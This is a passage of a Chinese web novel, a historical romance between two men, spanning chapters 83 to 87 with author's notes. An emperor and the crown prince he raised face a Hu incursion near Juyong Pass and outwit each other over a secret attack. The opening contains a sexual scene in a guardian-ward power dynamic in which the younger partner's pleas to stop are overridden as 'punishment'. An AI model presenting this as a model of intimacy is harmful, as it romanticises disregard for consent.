“干嘛?”明瑾没好气道。 似乎是想到了什么,他像是被戳到尾巴的兔子一样,瞬间警觉地挺直了脊背,捂脸道:“打人不打脸啊!” “不打,”晏祁哄道,低沉的嗓音震得明瑾的耳膜都有些麻痒,“只要你听话,以后都不打了。” 明瑾将信将疑地看着他,慢慢把脸扭了回来。 “一言为定啊?” “一言为定,”晏祁叹息着回答,他的耐心已经快要耗尽了,薄唇冷酷地吐出一个字来,带着命令的口吻,“咬。” 少年看了看晏祁的手套,又看了看晏祁,迟钝的大脑后知后觉地反应过来,这人是在叫他把自己的手套咬掉。 ……真变.态啊。 明瑾再次在心里感叹。 但不可否认的是,他的确吃这一套,一颗心在胸膛里咚咚直跳,明瑾抿了抿唇,低下头,牙齿咬住了晏祁手套的指尖,一点点、缓慢地将那手套脱了下来,丢到床下。 “另一只。” 明瑾也依言照做了。 晏祁的大手掐住他的腰,这回,他们是真的毫无阻隔地肌肤相贴了。他夸赞道:“这才是听话的乖孩子。” 明瑾的脸颊泛起了红,这红晕一直从耳根弥漫到脖颈,他的喉结动了动,忽然觉得,晏祁今日,好像有哪里和从前不一样了。 “方才还没说完,”晏祁的指尖漫不经心地捏着他通红欲滴的耳垂,金眸暗沉地注视着怀中的明瑾,“经此一遭,朕才突然想起来,关于人伦大事,朕还没有教过你。” “今日,便手把手叫你感受一番。” 白皙的身躯飞快地染上薄粉,明瑾呜咽着拼命摇头,说好撑,吃不下了,但又在晏祁一遍遍不厌其烦的教诲下,颤抖着改了口,抬起痉挛的指尖,在小腹上按了按,恍惚着说是在这个位置,获得了教导者一个奖励的轻吻。 明瑾努力想要跟上教学的节奏,但他还是很快就崩溃了,对着镜子嘴里颠三倒四地说着自己错了再也不敢了,却只换来身后一声近乎冷酷的低笑:“犯错的孩子就要被惩罚。听话,受着。” 最后他无力地瘫在床铺上,看着晏祁居高临下地注视着自己,本着牡丹花下死做鬼也风.流的想法,伸出爪子,捏了一把男人的胸肌。 晏祁冷笑一声,五指插入发丝间,将被汗湿的碎发向后捋,姿态性.感得叫已经被他敦得神情恍惚的明瑾瞬间直了眼。 男人俯身而下,用一如既往的温和语调、带着一丝丝愉悦的气喘说道:“长本事了啊。” 这一天,明瑾终于明白了,一个三十多年洁身自好的老男人究竟有多可怕,顺便亲身体验了一遍,晏祁那方面究竟有没有问题。 第二日傍晚,雪停了。 明瑾被裹在厚厚的棉被里,被晏祁抱上了马车,为了防止他染上风寒,晏祁还命人在车厢里放了两个暖炉,烤得明瑾一头都是汗。 他坐上马车时,看到的就是浑身冒着热腾腾白气的少年喘着气,从春卷似的棉被里奋力挣扎出来的场景。 晏祁发自内心地露出一个笑容,自然地坐在他身侧,将明瑾的上半身搂过来,大手捏了捏那纤细的脖颈:“不再睡会儿了?” “再睡就睡成猪了。”明瑾抱怨道。 他扭了扭身子,还是觉得酸痛,干脆在晏祁的怀里找了个舒服的位置靠着,从出发前晏祁特意找来的厚坐垫底下摸出一本书。 晏祁瞅了一眼,发现是关于灵异志怪的话本,他对这个不感兴趣,明瑾平时要看他也不阻拦,但…… “别在车上看,太晃。” 出发后不久,他便将明瑾手中的书册抽走,见少年不满地挣扎起来,晏祁安抚地摸了摸他的头顶:“等回京之后再看吧,出来太久,这次赶路的时间要比平时少,基本没有太多空闲供咱们下车休息。” 明瑾闭着眼睛听着,半晌,他蔫蔫地问道:“你不会回京之后又大变活人了吧。” “何为大变活人?” “就是变脸,”明瑾清清嗓子,惟妙惟肖地模仿起来,“就像‘你该叫朕父皇了’这样。” 晏祁无奈地叹了口气。 “是我不对。”他说。 明瑾重重地哼了一声,心想你这老东西都把我吃干抹净了,要是再死鸭子嘴硬,那他今天非要以下犯上殴帝三拳而走不可。 晏祁还待再开口,突然车厢一震,马车半路上停了下来。他脸色微变,沉声道:“前面发生什么了?” 须臾寂静后,内宦颤颤巍巍的声音响起: “陛,陛下,前方……好像是一支胡人的军队!”—— 作者有话说:最后一个大剧情了,今晚请个假捋剧情[让我康康] 第84章 我也并非圣人 “胡人!?” 听到禀报, 晏祁和明瑾立刻绷紧了神经,明瑾更是脱口而出:“胡人的军队怎么会出现在大雍境内?他们有多少人?距离这里有多远?” “这……我们只在二里外的山谷里看到了一些零散的士卒,但那里明显有大片生灶烧火的痕迹, 可能这些胡人是专门留下清理痕迹的, 具体有多少人, 暂时还不清楚。” “能看出他们是哪支部族的胡人吗?”晏祁问道。 那人立刻道:“是瓦图尔。” “瓦图尔……” 意料之外,情理之中。 明瑾回忆起那年拍卖会上, 瓦图尔伪装成大雍人潜入, 拍卖不成还想强夺寅将军的野蛮横劲,不禁深深皱起了眉头。 他们这次回去的线路和来时不同,晏祁有心想带着他去祭拜一番父母,特意选择了稍远的路线,途径数个边境城池。 危险肯定是有, 但他们的人马合计超过千人, 其中大部分还都是禁军精锐, 如此规模的正规军, 一般中等规模的城镇都能攻打下来,自然不担心那些不成气候的流匪劫盗之徒。 但胡人可不一样。 胡人民风彪悍, 在非战时也经常南下劫掠大雍百姓,但通常,他们都是几十上百人抱团,即抢即走, 如同蝗虫过境,很少有大批人马集结出现在边境的情况。 或许瓦图尔是个例外? 听说他们的新任首领很推崇大雍的文化, 但同时又对大雍人的软弱嗤之以鼻,颇有种自己才是中原文化正统的诡异自豪感。 明瑾一边想着,一边把目光投向身边的晏祁, 心道难不成,瓦图尔是打算再度与大雍开战吗? 可据他所知,瓦图尔应该还没有完全统一北方的各部族吧。 “再派人去探查一番,但切莫打草惊蛇。”晏祁命令道。 “是。” 似乎是感觉到了明瑾的不安,晏祁一边冷静地下达命令,指挥队伍转向离这里最近的城池,一边安抚地握紧了他的手。 男人的大手干燥温暖,确实叫明瑾纷乱的思维慢慢平静下来,他默默地坐在晏祁身旁,看着他们面前展开的舆图陷入了沉思。 眼下最要紧的,不是搞清楚胡人的目的,而是他们能不能安全度过这一劫。 “先生,离这里最近的城县是哪一处?” 晏祁停顿了一下,才回答道:“是宁昌县。” 明瑾心头一跳。 宁昌县这个地方,或许很多人未曾听闻,但他却十分熟悉——宁昌县再向东二十余里,便是居庸关的所在地。 居庸关作为天下第一雄关,路窄而险,但凡南下者,都将其视为必经之地,占据此处,可以说便占据了北方的军事要道。 曾经,这里也是当初他爹娘抗击胡人的第一线,爆发过数次极其惨烈的大战,死者数以万计。 最终昭明军因缺少后援,被迫撤军,他爹娘也因此战死沙场。 虽然后续与胡人军队的大小交战仍有十几次,但都败多胜少,抵抗再难成气候,究其原因,便是居庸关的失守。 若不是胡人内部因争权夺利发生内乱,大部队主动后撤回援,恐怕,现在整个南方都要沦陷于异族之手。 兜兜转转十几年后,从那场战役中逃过一劫的他和晏祁又回到了此处,再度面临着同样的生死危机……思及此,明瑾忽然有种命中注定的感觉。 他相信,先生一定也是这么想的。 “宁昌县是军事重镇,不同于其他地方,此处应该会有驻军,”晏祁盯着舆图,低声道,“届时若情况不对,朕坐镇边关,派人护送你回京——” “想都别想!”明瑾瞬间拔高声音,他一把抓住晏祁的手腕,“别以为我不知道,你所谓的派人护送,起码是要分出现有的一半兵力吧?胡人野蛮彪悍,咱们大雍军队一对一已经应付得足够吃力了,你再分出一半,纯粹就是在找死!” 他急切道:“我留下,咱们一起去宁昌县,横竖居庸关已经被毁,这么多年来胡人也没管过,就算现在派了军队过来,肯定也不是叫他们来重建关隘的吧?说不定,这还是咱们反攻拿下居庸关的好机会!” 晏祁对明瑾大胆的设想不置可否。 但他也并未再坚持要求明瑾带着人离开,只是盯着那幅绘制详细的舆图,再度陷入了沉思。 见状,明瑾稍稍放下了一颗心。 凛冬的寒风携着大片的雪花,自帷幕缝隙间钻入车厢,顷刻间便消融了炭火带来的暖意。 他不自觉地哆嗦了一下,裹紧了身上的被子,却见晏祁头也不抬地伸出手,将那帷幕重新拉好扣上。 明瑾一时怔然。 因为他方才根本没看到晏祁从舆图上移开视线,也没想到在这种时候,晏祁还能分出一部分心神留意自己。 尽管外面是风霜刀剑,未来还可能面临真正的利刃相逼,明瑾的内心却忽然有了种小小的雀跃。 像是在又累又饿时,面前突然出现了一碗热腾腾元宵,等小心翼翼地咬了一口,又惊喜地发现这元宵的馅儿正好是自己爱吃的。 他挪了挪身子,离晏祁远了些,托着下巴,欣赏起了先生难得的蹙眉沉思模样。 晏祁从思索中回过神来,注意到明瑾毫无心理压力、甚至还表现出几分轻松的状态,有些头疼地捏了捏眉心:“虽然没说一定让你回去,但这可不是能随便开玩笑的事情,你就不怕朕考虑不周,或是两军交战失利?” “不怕,”明瑾坦然道,“我相信先生。” “而且我也很相信自己的直觉,”他狡黠一笑,“能悄无声息地越过边境来到大雍地界,他们的人数一定不会超过三千,甚至可能还没咱们的人多。” 晏祁的眼中划过一道惊讶,语气不由得带上了一点赞许和鼓励的意味:“继续说。” 虽然他的确有教过明瑾兵法,但大多都是应用在朝廷和天下局势层面,关于行军打仗的,倒还真没多少。 晏祁一直觉得,一个国家想要昌盛,那这个国家的人必定要各司其职,君主做君主的事,将军做将军的事,臣民做臣民的事,像行军打仗,就是将军该做的。 将在外,军令有所不受,一个处处都要对将军带兵作战和战略方针指手画脚的君主,注定只能收获败仗。 所以他教给明瑾的,是管理将军的驭人之术。 但他没想到,明瑾这个年纪,对于具体的两军交战,居然也能发表一些颇有见地的言论。 “道理不是很简单吗?既然知道了他们是偷摸潜入,没派多少人来,那就说明他们肯定不是冲咱们来的,”明瑾笃定道,“这些人如果知道大雍的皇帝和太子都在这里,那肯定会派大军压境,最好直接把咱俩一起打包掠到北地当人质去,等关键时刻,押到城下当个叫门的天子。” 晏祁笑了一声:“真要到那一天,你待如何?” 明瑾没忍住,朝他翻了个大白眼。 “这还用问?我爹娘——不管是哪一对,要是知道他们儿子敢为了苟活干出这等勾当,估计听闻消息的当天,活着的就得被我气死,死了的也都能被我气活。” 晏祁伸手把人揽进怀里,下巴搁在少年的肩膀上,叹息着搂紧了双臂。 “就凭你这番话,”他轻笑道,“朕这些年在明家,就没有白忙活。” “……好哇,敢情你之前还是觉得自己白养我了!” 怀中的少年不满地嘟囔着,想要挣扎,但被晏祁铁钳似的双臂紧紧搂着,动弹了几下,见没什么成效,也懒得反抗了,就任由他这么抱着,享受这紧绷战备途中来之不易的片刻温存。 万幸,他们顺利到达了宁昌县。 不久后,派去打探情报的探子也回来禀报了:“陛下,这支胡人军队一共两千余人,带队的是瓦图尔麾下一个小部族的首领,名叫撒乌楞。” 这是个陌生名字,明瑾没听过,但晏祁显然对这人有印象。 他看上去微微有些意外,不知想到了什么,面色陡然阴沉下来,挥挥手叫那探子继续去探听消息后,扭头对明瑾道:“恐怕你这次是真的要替朕提前回去了。” “为什么?” “有内奸,”晏祁言简意赅道,“撒乌楞这个人,我认识。他与我有仇,恨不得置我于死地,瓦图尔的首领是个聪明人,在北地未能完全一统前,不会对外招惹强敌。” “撒乌楞一定是得到了什么消息,知道我不在京城,才会想着打着瓦图尔的旗号,趁机带兵南下报复。” 明瑾一愣,随即反应过来,晏祁说的这些,应该是他曾经身处北地的经历。 “那我更不能走了,他这次就是冲你来的,我要是走了,你怎么办?” “他不一定知道我在这里。” “你这是在拿自己的命赌!”明瑾死死盯着他,强压着心中怒火,“万一那撒乌楞不是单纯为了报仇,而是瓦图尔派来的先锋,后续还有大部队跟着呢?你糊弄小孩的那一套,已经对我不管用了!” “还是你觉得,只要我能坐上皇位,你是死是活都不重要?” 晏祁沉默片刻,轻声道:“我没有这么想。” “那就让我留下。”明瑾毫不犹豫道。 “京城那边的内奸,交给咱们两人的亲信去抓,我相信元栋的本事,只要你愿意写一封圣旨,再给他拨些人手,他一定能在最短时间内把人逮出来,这可比我亲自过去一趟快多了。” 不得不说,明瑾这番话说得的确有理有据。 因此晏祁没有再出声强求,只是抬起手,帮明瑾理了理他鬓角的乱发。 “按照我从前的作风,我现在应该叫人强行把你塞进马车,哪怕五花大绑,也要先把你带离边境危乱之地。”他淡淡说道,注意到明瑾骤然紧张瞪圆的双眼,晏祁自嘲一笑,“但听你说了这么多,我也并非圣人……情独私怀,谁者可语?抛开那些身为君亲师长的责任牵绊,我只想与你同生共死。” 明瑾定定地看着他,良久,粲然一笑。 “——那便同生共死。”—— 作者有话说:情独私怀,谁者可语——宋玉《神女赋》 第85章 现在整个人都正经多了…… “我就知道这混蛋肯定又要给我搞事!” 张牧气急败坏, 把信往桌上一拍:“本来还以为陛下过去了能让他消停点儿,现在倒好,两个合一起给人出难题!你们说说, 现在该怎么办?” 荀婴和李司对视一眼, 都看到了彼此脸上的苦笑。 “我怎么觉得, 咱们一介白身,干的却是朝廷大员的活儿呢?”李司弱弱问道, “说是有内奸……可他要是朝中官员, 咱们连宫门都进不去,该如何查证?” 荀婴倒是没有他这样的担心,尽管他眉头紧蹙,但相对来说态度还是比较乐观的:“放心,这封信只是主公写给我们的, 陛下那边肯定还有自己的安排, 如果需要咱们帮忙, 那些人会主动找上门来的。” 张牧冷哼道:“横竖是打白工。” 虽然嘴上嫌弃, 但他的身体却很诚实,立马叫人去把明敖和他爹请来, 共同商议——这么大的事,显然不是他们几个小辈能解决的,必须要依靠家族的势力才有机会揪出隐藏在陛下身边的内奸。 只是张牧有一点想不明白: 又不是大军压境,非战争时期, 谁会没事嫌好日子过够了,非要冒着九族升天的风险甘愿给异族当奸细呢? 通敌叛国, 这可比贪腐甚至谋反的性质都还要严重百倍啊! 身处宁昌县县衙内的明瑾,同样也在思考这个问题。 现在想来,当初他能在清沐坊看见瓦图尔的人, 还带着武器大摇大摆地混入拍卖会,便已经说明京城早就被他们渗透成筛子了,否则从北地到京城,这一路的盘查、搜检,他们是如何蒙混过关的? 可清沐坊又是宁逸的地盘,宁逸是先生的属下,显然先生对他相当信赖,不然不会叫他当自己的替身,明瑾踌躇了大半天,才把自己的想法简单梳理了一下,跟晏祁讲了。 “你怀疑他是内奸?”晏祁问道。 来汇报最新情况的将士刚刚离开,现在屋内只余下他们二人。 “倒也不是……我相信先生你的眼光,不会看错人,我直觉也应该不是他。”明瑾有些纠结,“但毕竟人心难测,我与这位宁先生接触不多,也没办法肯定。” “不是他,”晏祁直截了当地说,“他若想要我们死,有很多种办法,没有必要将胡人引狼入室。” 而且他既然敢叫宁逸待在宫里,必定也准备好了制约其的办法,晏祁心中暗叹,这孩子还是阅历尚浅,到了他们这个位置,真心假意已不再重要,比起所谓的“信赖”,他更相信背叛的代价。 “那……” 明瑾实在想不出其他人了。 他这个太子刚当上就跑路了,实在是名不副实,总共认识的官员也就那么几个,总不能每个都瞎猜一遍吧? “抓内奸的任务交给京城那些人,现在最重要的是,守住宁昌县。”晏祁屈起食指,敲了两下桌子,“朕已经叫人去修补防御工事了,县内守军共计三百人不到,这些想必撒乌楞也清楚,我们唯一的机会,就是趁他们大意之时,反败为胜,而后一举夺下居庸关!” 明瑾看着晏祁那双亮的惊人的金眸,知道十几年前的居庸关之战一直是他的心结,如今有机会一雪前耻,晏祁自然不会轻易放过。 “需要我做什么?”他站起身走到晏祁的面前,直视着男人的双眼问道。 但很快,他又警惕地补充道:“不许说什么‘老实待着’,你想为他们报仇,我也想,更何况那是我亲生父母。” 见晏祁许久不吭声,明瑾恼了,干脆一屁股坐在他身上,一把揪住男人的衣襟,换来晏祁一声低低的倒抽凉气。 “别再把我当孩子,”明瑾按着他起伏的胸膛,哼笑一声,意有所指道,“那天你明明说过,我已经是‘成人’了。” 那能是一个意思吗! 但晏祁实在拗不过明瑾,无奈之下,只好交给了他一个不那么危险的任务——从士卒中挑十余人伪装成商队,向西前往太宁仓。 那里还有这次晏祁带来的一千余禁军驻扎,以及丰富的粮草储备,有了他们的帮助,对于接下来的宁昌县保卫战和居庸关之战,大雍这边的胜算都会大上许多。 明瑾对这样的安排不太满意,觉得晏祁还是想把自己调开。 但看在太宁仓离此处不远、快马来回只需一天多的份上,他忍了。 “行,我快去快回,”他认真道,“东边这些胡人的目的暂时还不清楚,先生谨慎一些,守好宁昌县,假如他们不经过此地,也要等我回来再出兵,听到没?” “你还指挥上朕了。” 晏祁的嘴角扬起一抹弧度,在明瑾的惊呼声中,抱着少年劲瘦腰肢掂量了两下,重新将人抱好,交换了一个深入的吻。 这个吻持续了许久,久到结束时,两人的气息都变得凌乱错拍,鼻尖轻碰,热气喷洒在彼此颈间。 外面是数九寒冬的严寒天气,静谧室内,两颗火热的心却在激烈跳动着,眨眼间恍若隔世。 明瑾一双眼睛亮晶晶地看着晏祁,两条胳膊揽着他的脖颈,弓起脊背,用毛绒绒的脑袋蹭了蹭男人的颈侧,忽然颓丧地叹了一口气:“这杀千刀的胡人,来的可真不是时候。” 好不容易才得手,他还没抱够呢。 这帮胡人,不知道打扰人谈情说爱是要被马踢的吗? 晏祁打眼一瞧就知道这孩子在想什么,虽然他也很想跟明瑾关起门来再昏天黑地一番,奈何现实情况不允许。 甚至他能纵容自己匀出片刻闲暇与明瑾亲热,已是打破晏祁一贯的原则了。 罢了,他心道,看在这孩子马上要离开的份上。 “早去早回。”晏祁握紧明瑾的手,语气低沉,仿佛一个在丈夫即将远行前担忧叮嘱的妻子——明瑾忽然升起这样一股既视感。 但这话他可不敢当面跟晏祁说。 先前的那次经历已经很让他心有余悸了,明瑾头一次知道,原来干那事时,是真的能体会到濒死的刺激的。 跟由他主导的那次完全不同,要不是晏祁最后心软放了他一马,恐怕他能在床上抖到脱水。 明瑾实在又怕又爽,暂时……不,他这辈子都不想再体验第二回了! “我,我走了。”他佯装淡定地要推开晏祁,却见晏祁忽然执起自己的手,垂眸在凸起的骨节上落下一个吻,虽然更亲密的事情都做过了,但明瑾硬生生被他这温情的动作闹了个大红脸。 见鬼,怎么这感觉比亲嘴儿还暧昧呢? 明瑾同手同脚地离开了,连晏祁后面说了什么都没听见,脑袋晕乎乎的,脚踩地都打飘。 毛头小子,晏祁轻笑一声。 在明瑾身影消失在门外的几息间,他脸上那点温存柔和的神情便彻底消失无踪,晏祁负手走到檐下,一双金眸锐利如电,直直注视着天空中堆积的云霾,直到一片冰凉雪花落在额上,这才回过神来,眼眸一闪,唤来值守在外的内宦,低声吩咐了几句。 只有晏祁才知道,从来没有什么内奸。 若硬要说告密者,那便只有他自己。 晏祁惯会隐忍,但他更擅长的是把握时机,虽然自己登基不久权势尚未稳固,但要是耽误了这一时片刻,放任瓦图尔一统北方,那大雍未来的几十年内,将再难有翻盘机会。 他需要师出有名,更需要出其不意攻其不备。 收拾太子和郑氏只是目的之一,这趟秘密出行,晏祁的打算是一箭三雕——另外两样战利品,他挑中了朝堂上对自己不满但平时隐藏极深的势力,和已经从大雍版图分离十余年的居庸关。 不过,现在看来,最大的收获还是那孩子。 那小不正经被他狠狠收拾了一顿,现在整个人都正经多了,虽然有时候还是会闹腾,但都还在他的掌控之中。 就像明瑾不好意思跟晏祁讲,只敢偷偷在两人私下亲昵时捏捏男人的胸肌、摸摸胳膊上紧实的肌肉一样,晏祁也爱死了这孩子无意识对自己着迷依赖的模样。 仅仅那一次……不够。 远远不够。 虽然这份欲求不满,很大一部分原因是他自找的,但打搅了他们好事,晏祁毫无心理负担地把责任转嫁给了那些杀千刀的胡人。 要不是胡人占据了居庸关,叫他这个做皇帝的身在京城都日日寝食难安,他怎么会牺牲和那孩子在一起的时间,转而费心思去对付这帮蛮族? 木先生曾对他说,得居庸关,可保大雍百年安稳。 晏祁觉得他有些夸张了,但不可否认的是,那么多年,他做了梦都想把这里夺回来。 那年只能抱着襁褓中的明瑾狼狈逃离的屈辱,晏祁一直铭记在心,刻骨难忘。 “陛下,按照您先前吩咐的,属下们都已经准备好了,”那曾经在郑城下方指挥作战的将军疾步走来,抱拳禀告道,说话间浓浓的白气弥漫在他眼前,却难掩这将军脸上的激动之情,“随时可以整军出发!” “不急,等天黑。” 晏祁微微一笑:“十几年了,也该叫那些胡人回忆一番,曾经昭明军所向睥睨的夜战——你说对吗,樊将军?” 曾经的昭明军旧部、宁昭公主最器重的左右手樊淮强忍着眼眶的酸涩,垂首恭敬道:“您说的没错,陛下。” “兄弟们等这一天,已经等了足足十几年!” “驾!” 明瑾夹紧了马肚子,手握缰绳,下意识回头望了一眼身后的县衙。 “殿下,怎么了?”边上有人询问。 “没什么,”明瑾回头道,忽略自己心上的那一丝异样,镇定道,“再往前一个山头,就到明光寨所在的位置了,诸位,届时我会叫孙大哥他们” 晏祁虽然招安了明光寨,但因为这周边匪寨林立,他便让明光寨先保留着,待吞并了它们,再统一纳入官府麾下,方便管理。 “那您呢?” “我?我自然是带着明光寨剩下的弟兄,回援宁昌县了,”明瑾冷笑一声,这么多年下来,他已经被晏祁坑出经验来了,“真以为我是那种用……用一点小恩小惠就会昏头的傻子吗?” 他一开始没想明白,后来反应过来了: 既然是求援,那直接派两名使者过去不就行了?还伪装成商队,何必多此一举! “我的那位好父皇,肯定又在背着我搞事情了!”—— 作者有话说:这一大一小加起来都是八百个心眼子,只不过大的四百零一个,小的略逊一筹,三百九十九[狗头] 一边算计一边搞纯爱,斗智斗勇互相坑,没事儿再来点angry sex调剂生活(没错这就是在下的xp[墨镜]) 第86章 又被这老家伙坑了一把…… 虽说打定主意要留下, 但明瑾并不准备立刻出现在晏祁面前。 以他对这老家伙的了解,只要是晏祁不想让自己参与或是知道的事情,他绝对能做到面不改色地编故事忽悠人。 自己躲得了一次躲不过第二次, 不如先在暗处蹲守, 随机应变。 但随着时间推移, 明瑾逐渐发现了不对劲。 “咦,奇怪, ”他遥遥望着宁昌县的方向, 眉头紧锁,“马上天就要黑了,按理说,巡逻驻防的人不该增加吗?怎么反而变少了?” 孙洛蹲在他边上,也盯着那边:“或许是到饭点了?” “……都是有轮守的人的, 那些都是先生亲自挑选的精锐将士, 怎么可能会犯这种低级错误。”明瑾无奈道。 孙洛傻笑一声, 见明瑾发愁, 立刻主动站出来,表示自己愿意为太子殿下分忧, 待他过去打探一番,定能查清楚事情的原委。 在知道明瑾的真实身份是大雍太子时,明光寨上下的确大吃一惊,但随之而来的, 更是被欺瞒的愤怒—— 这小子口口声声用“太子在郑城可能对他们不利”做幌子,欺瞒他们这么多天, 还利用兄弟们对他的信任骗吃骗喝骗进城,就算他身份高贵,也实在是叫人不齿! 但当晏祁告诉他们, 明瑾其实还是宁昭公主的儿子,他的兄弟时,孙洛和一众明光寨弟兄们霎时把那份不满丢到了九霄云外。 不仅连声夸赞起明瑾这孩子机灵,知道随机应变保住自己和同伴的性命,还夸他有情有义,愿意为同伴两肋插刀,一看就知道是公主殿下的后人。 没错,昭明军出身的人,就是如此双标! 虽然不明白同样作为宁昭公主的儿子,为什么明瑾成了晏祁的太子,而且两人岁数查了这么多,公主殿下又是怎么生出晏祁这么大的儿子的——为了伪装身份,当初晏祁回京时把自己的年岁报小了不少,后来登基为帝后又改了回来。 但孙洛觉得,这些都不重要了。 他等待了这么多年,除了不甘心沦为匪徒终老山林外,同样,也是渴望亲眼看到昭明军的旗帜再度飘扬于沙场之上,叫他们这些老兵,再跟着昭明英烈旧魂冲锋一次! 如今能有机会为明瑾驱使,孙洛简直是求之不得,尤其是再次见面时,明瑾还一口一个“孙大哥”地喊着,身为高高在上的太子殿下,却丝毫没有郑城那些芝麻大官员摆出的臭架子,孙洛内心更是油然而生一股士为知己者死的慨然来。 “好吧,”明瑾不知道短短时间内,孙洛脑海中竟闪过如此多的想法,他叮嘱道,“你带两个兄弟过去,注意安全,可别被自家兄弟误伤了。” “放心吧殿下!” 孙洛就差没拍着胸脯保证了,立马从手下人里点出两个机灵的,跟着他一起朝那边走去。 明瑾从渠沟里探出一双眼睛,紧盯着他们的动向,身体绷紧,随时准备见情况不对便跃出渠沟出面救场。 就算自己被发现,也好过孙洛他们被误伤。 但明光寨的其他人似乎并没有他这样的担心,还在身后窃窃私语地聊着天: “哎,你说咱们这次被招安,是不是将来就算陛下的人了?” “不对吧,咱们现在是跟着太子殿下啊。” “可那天是陛下亲自来招安咱们的啊。” “你傻吗?”那人嗤之以鼻,“陛下身边又不缺人,咱们只有跟着太子殿下,才有机会立功,要不是殿下,这次你能有机会下山打胡人?” “谁说我没有?”另一人争辩道,“那天傍晚,我和大壮不是就抓了一个鬼鬼祟祟溜到山寨外面的胡人吗?虽然他狡辩说自己祖上是大雍人,切,鬼才相信呢。” 明瑾霍然扭头:“你们在哪抓了胡人?!” 那两人吓了一跳,见明瑾神情凌厉,还以为是他们说小话惹怒了殿下,赶忙惶恐请罪。 “不,你们先把那胡人的事情说清楚,”明瑾直觉这件事情有些不对劲,或许跟这次的撒乌楞偷偷潜入大雍有所关联,他严肃道,“好好回忆一下,每一个细节都不要放过。” 两人对视一眼,先前那位小心翼翼地回答道:“回殿下的话,那胡人是我和刘大壮,呃,就是刚被孙老大挑过去那个高个子,是我们两天前的傍晚,在山寨东边一条水沟边上发现的。” “这人也是倒霉,正好猜到了我们放在那的捕兽夹,脚踝都断了,这才被我跟大壮逮住了。”那汉子黝黑的脸上泛起一丝红晕,显然是吹牛被当面揭穿,有些不好意思,“我跟大壮问他是来干什么的,他也不回答,我俩就来气嘛,本来就对这些蛮子没啥好感,干脆就把人揍了一顿。” “他被揍到奄奄一息才开口,说自己是奉命来找祖先留下的劳什子宝藏的,但我和大壮在那山头上待了这么些年,从来没听说过有什么宝藏,就当他是在说谎,又继续揍,问他真有宝藏的话,那也该有藏宝图才对,藏宝图呢?” “他说没有,唯一知道的线索就是一个字,我们叫他写下来,结果这人写完之后就挂了,”他悻悻然道,“早知道当初就不揍那么狠了,虽然这混账的确欠揍。” 明瑾皱了皱眉:“是哪一个字?” 那人一脸为难:“殿下,咱也不识字啊,要不等大壮回来您问问他?或许他知道怎么写,从前他老娘教过他写自己的名字。” 正说着,孙洛那边也有了动静。 明瑾听到他招手呼唤他们,眼眸一闪,将遮挡面容的巾帕往上拉了拉,然后主动走出了渠沟。 见状,原本趴在他身边的那些明光寨弟兄们也赶紧跟上。 “怎么这么多人?”此处负责驻防的长官一见他们乌压压上百号人走过来,为首那年轻人还鬼鬼祟祟地蒙着脸,脸色都变了,当即握紧了武器喝道,“都站在那儿,不许动!” 明瑾立刻依言停下,为了让他不那么警惕,还主动举起了双手表示他们没有恶意。 “这位……咳咳,这位是我们明光寨的二当家,”孙洛瞥了明瑾一眼,赔笑道,“这位兄弟,咱们真是明光寨的人,是陛下亲自招安的昭明军旧部,按理来说,也算是同袍了。” “真是陛下叫你们来的?”那长官有些将信将疑,“我怎么没从上官那儿听说过这件事?” “这是陛下交给太子殿下的秘密任务,你那上官自然是不知道了,”孙洛义正言辞道,“好了兄弟,咱们人一共就这么点,就算真动什么心思,在诸位面前也翻不出什么浪花来。” 他主动提议道:“不如这样,你要是真担心的话,就单独放我和我这小兄弟进去,只要见了陛下,不就真相大白了?” 谁知那长官却沉默下来,明瑾紧盯着他脸上的表情变化,再看看他们身后莫名显得空荡的街道,心头一跳,再也顾不上那么多了,一把扯下蒙在脸上的巾帕,厉声道:“先生——陛下他人呢?” “他是不是根本就不在县衙了!” 长官见到他,吓了一大跳:“太,太子殿下!?您怎么在这儿?” “是孤在问你话!” 长官一脸为难,这回他是不担心这一行人可能是奸细或是别的什么了,但陛下那边又提前吩咐过,要是太子提前折返,务必要将他控制住,不可透露大军的动向,违者按泄露军情处置。 听着他支支吾吾的解释,明瑾内心火气高涨,他深吸一口气,刺骨的冷意灌入肺腑,强逼着自己冷静下来:“好,我不为难你,但既然我回来了,先让我去县衙。” 长官张了张嘴,刚要说话,就被他抢断:“还是说,你打算让我和这些弟兄们一晚上都待在这儿,饿着肚子被冻死?” “……殿下请吧。” 他最终还是让出了道路,明瑾冷着一张脸,领着一众人越过他,直奔县衙的方向。 果不其然,人去楼空。 很好。 倒是还记得给他留下一封信,晏祁在信上说,他去去就回,时间不定,可能要数日,让他看守好宁昌县,不要轻举妄动,等他回来。 明瑾气得太阳穴突突直跳,某人明明之前还答应得好好的——哦不对,他根本没答应,只是很巧妙地转移了话题。 道高一尺,魔高一丈,明瑾不得不承认,到底姜还是老的辣,他自以为已经看破了晏祁的计策,却没想到这老家伙给自己下的还是连环计! 现在他是真的不敢轻举妄动了,宁昌县不能没人镇守。 一想到又被这老家伙坑了一把,明瑾就恨得牙痒痒。 最可恨的,还是这人不把自己性命当回事!哪家皇帝有了太子之后不是处处提防,求长生求飞升求万载千秋的? 他倒好,立自己为太子之后,就彻底什么都不管不顾了! 所以,自己现在只能在这里干等着了? 明瑾不甘心。 他叫人点上油灯,找出晏祁一直在看的那副舆图,回忆着男人当初一直盯着的方位,仔细思考起来。 居庸关,难不成他们是去打居庸关了? 可撒乌楞那边呢,就不管了吗? 明瑾一巴掌拍在桌案上,只觉得千头万绪和对晏祁那老混蛋的担忧都纠葛在一处,让他心乱如麻,脑海里全都是那些最坏的念头闪过: 万一兵力不敌怎么办?万一战场上刀剑无眼,他出了什么意外怎么办?万一…… 万一他和他的父母一样,战死在某个他看不见的角落里,那他又该怎么办? 他独自瘫坐在座位上,望着空荡荡的县衙,忽然格外思念起了京城的那几位友人。 张牧,李司,还有元栋……对了,元栋! 明瑾忽然直起了身子。 假如光靠自己一人无法破局的话,为什么不去找外援呢?—— 作者有话说:小明同学的外置大脑闪送即将到达~ 话说小明同学的辈分是一路上升啊,从晚辈到弟子再到儿子,现在已经成功晋升为兄弟了[坏笑]虽然他俩本来的实际关系就是兄弟,皇位兄终弟及也说得过去(你说是吧赵二) ps:争取这个月正文完结,到时候十一月写番外,再搞点小情侣甜甜的互动,毕竟床头吵架床尾和,就算是对抗路情侣也得过日子不是[狗头] 第87章 恰好是一个“明”字…… 明瑾兴奋了没一会儿, 忽然又蔫巴了。 因为他忽然想起来,先前自己给张牧他们送信,还拜托他们帮忙抓内奸来着。 虽然现在明瑾深切怀疑, 就连这内奸的事情也是晏祁诓自己的, 但万一真的有呢? 而且战场瞬息万变, 